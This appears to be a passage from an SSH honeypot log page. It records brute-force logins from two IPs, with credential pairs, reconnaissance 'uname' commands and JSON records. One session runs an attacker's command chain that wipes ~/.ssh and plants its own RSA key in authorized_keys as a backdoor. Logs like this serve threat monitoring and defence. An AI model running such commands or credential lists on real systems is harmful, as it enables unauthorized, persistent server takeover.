Adversarial Observation Interface

91.92.40.217

2026-07-27 13:26:55.544888 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gary

Record ID: 12f3a131f545

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "12f3a131f545",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:26:55.544888Z",
  "end_time": "2026-07-27T13:26:57.671289Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "gary",
      "pass": "gary"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:26:48.374825 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / LeitboGi0ro

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 8b9d75040c3f

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "8b9d75040c3f",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:26:48.374825Z",
  "end_time": "2026-07-27T13:26:50.055341Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "LeitboGi0ro"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:26:42.502818 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nobody

Record ID: 7b6136a6ef1a

Client Version: SSH-2.0-Go

Engagement Duration: 2.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "7b6136a6ef1a",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:26:42.502818Z",
  "end_time": "2026-07-27T13:26:45.372343Z",
  "duration": "2.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "nobody",
      "pass": "nobody"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:26:36.668062 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: devops

Record ID: 44156579e961

Client Version: SSH-2.0-Go

Engagement Duration: 3.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "44156579e961",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:26:36.668062Z",
  "end_time": "2026-07-27T13:26:39.699851Z",
  "duration": "3.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "devops",
      "pass": "123456789"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:26:30.385932 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: git / 1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 1074e6e1a6b7

Client Version: SSH-2.0-Go

Engagement Duration: 3.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "1074e6e1a6b7",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:26:30.385932Z",
  "end_time": "2026-07-27T13:26:34.232627Z",
  "duration": "3.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "git",
    "pass": "1234"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:26:24.724630 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: home

Record ID: 8f3985edb855

Client Version: SSH-2.0-Go

Engagement Duration: 4.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "8f3985edb855",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:26:24.724630Z",
  "end_time": "2026-07-27T13:26:28.816620Z",
  "duration": "4.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "home",
      "pass": "root"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:26:19.183837 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: deployer

Record ID: c732b6399fce

Client Version: SSH-2.0-Go

Engagement Duration: 3.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "c732b6399fce",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:26:19.183837Z",
  "end_time": "2026-07-27T13:26:22.445488Z",
  "duration": "3.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "deployer",
      "pass": "deployer123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:26:12.672140 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / admin@123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 66c2debc1098

Client Version: SSH-2.0-Go

Engagement Duration: 2.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "66c2debc1098",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:26:12.672140Z",
  "end_time": "2026-07-27T13:26:15.070294Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "admin@123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:26:05.682452 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rdpuser

Record ID: 0e6c0828cfcd

Client Version: SSH-2.0-Go

Engagement Duration: 3.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "0e6c0828cfcd",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:26:05.682452Z",
  "end_time": "2026-07-27T13:26:09.063496Z",
  "duration": "3.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "rdpuser",
      "pass": "123456789"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:25:59.472327 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: milad

Record ID: e73864e8cc48

Client Version: SSH-2.0-Go

Engagement Duration: 3.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e73864e8cc48",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:25:59.472327Z",
  "end_time": "2026-07-27T13:26:02.775334Z",
  "duration": "3.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "milad",
      "pass": "milad123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:25:52.670153 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ec2-user

Record ID: deacfe98b40d

Client Version: SSH-2.0-Go

Engagement Duration: 3.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "deacfe98b40d",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:25:52.670153Z",
  "end_time": "2026-07-27T13:25:55.853781Z",
  "duration": "3.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ec2-user",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:25:46.452235 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / abc123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: d7434f3072c5

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "d7434f3072c5",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:25:46.452235Z",
  "end_time": "2026-07-27T13:25:48.436978Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "abc123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:25:40.259076 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gabriel

Record ID: 9ef74d453db8

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "9ef74d453db8",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:25:40.259076Z",
  "end_time": "2026-07-27T13:25:42.454615Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "gabriel",
      "pass": "1q2w3e4r"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:25:34.602913 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: deployer

Record ID: 7d97f9162439

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "7d97f9162439",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:25:34.602913Z",
  "end_time": "2026-07-27T13:25:36.683633Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "deployer",
      "pass": "user"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:25:28.757220 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user1

Record ID: 7ccb787da18d

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "7ccb787da18d",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:25:28.757220Z",
  "end_time": "2026-07-27T13:25:30.718244Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "user1",
      "pass": "modzmodz"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:25:22.468495 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: adminuser

Record ID: 3dcdad54043e

Client Version: SSH-2.0-Go

Engagement Duration: 4.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "3dcdad54043e",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:25:22.468495Z",
  "end_time": "2026-07-27T13:25:26.571474Z",
  "duration": "4.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "adminuser",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:25:16.919702 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sam

Record ID: 8436871cef72

Client Version: SSH-2.0-Go

Engagement Duration: 2.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "8436871cef72",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:25:16.919702Z",
  "end_time": "2026-07-27T13:25:19.466879Z",
  "duration": "2.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "sam",
      "pass": "sam"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:25:11.162245 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / aB123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 296a6b8f4cc3

Client Version: SSH-2.0-Go

Engagement Duration: 2.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "296a6b8f4cc3",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:25:11.162245Z",
  "end_time": "2026-07-27T13:25:13.520328Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "aB123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:25:05.247762 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: minecraft / 1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 9608e31f90ff

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "9608e31f90ff",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:25:05.247762Z",
  "end_time": "2026-07-27T13:25:07.033631Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "minecraft",
    "pass": "1234"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

223.123.124.70

2026-07-27 13:25:05.145745 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 2b96df139c71

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "2b96df139c71",
  "src_ip": "223.123.124.70",
  "start_time": "2026-07-27T13:25:05.145745Z",
  "end_time": "2026-07-27T13:25:06.826425Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

223.123.124.70

2026-07-27 13:25:02.252274 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 500426e6eaed

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "500426e6eaed",
  "src_ip": "223.123.124.70",
  "start_time": "2026-07-27T13:25:02.252274Z",
  "end_time": "2026-07-27T13:25:04.866369Z",
  "duration": "2.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

223.123.124.70

2026-07-27 13:24:58.939071 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 2025.

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 6acc4e2c2299

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 7.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6acc4e2c2299",
  "src_ip": "223.123.124.70",
  "start_time": "2026-07-27T13:24:58.939071Z",
  "end_time": "2026-07-27T13:25:06.816361Z",
  "duration": "7.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "2025."
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:24:58.436768 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / P@ssw0rd

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 1b19e953323d

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "1b19e953323d",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:24:58.436768Z",
  "end_time": "2026-07-27T13:25:00.131933Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "P@ssw0rd"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:24:52.159357 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / Aa123456@

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: ed47a51d956f

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "ed47a51d956f",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:24:52.159357Z",
  "end_time": "2026-07-27T13:24:54.043572Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Aa123456@"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:24:46.320192 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: hadoop / hadoop123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 122c3718a454

Client Version: SSH-2.0-Go

Engagement Duration: 3.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "122c3718a454",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:24:46.320192Z",
  "end_time": "2026-07-27T13:24:49.549958Z",
  "duration": "3.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "hadoop",
    "pass": "hadoop123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:24:40.748364 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bitrix

Record ID: d017e6e085b6

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "d017e6e085b6",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:24:40.748364Z",
  "end_time": "2026-07-27T13:24:43.009275Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "bitrix",
      "pass": "bitrix"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

91.92.40.217

2026-07-27 13:24:34.401446 UTC

SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: admin / 051178

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: de146323ebf6

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "de146323ebf6",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:24:34.401446Z",
  "end_time": "2026-07-27T13:24:36.134915Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "051178"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}

91.92.40.217

2026-07-27 13:24:28.652085 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: teste

Record ID: a5c815764fe2

Client Version: SSH-2.0-Go

Engagement Duration: 2.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a5c815764fe2",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-27T13:24:28.652085Z",
  "end_time": "2026-07-27T13:24:31.139681Z",
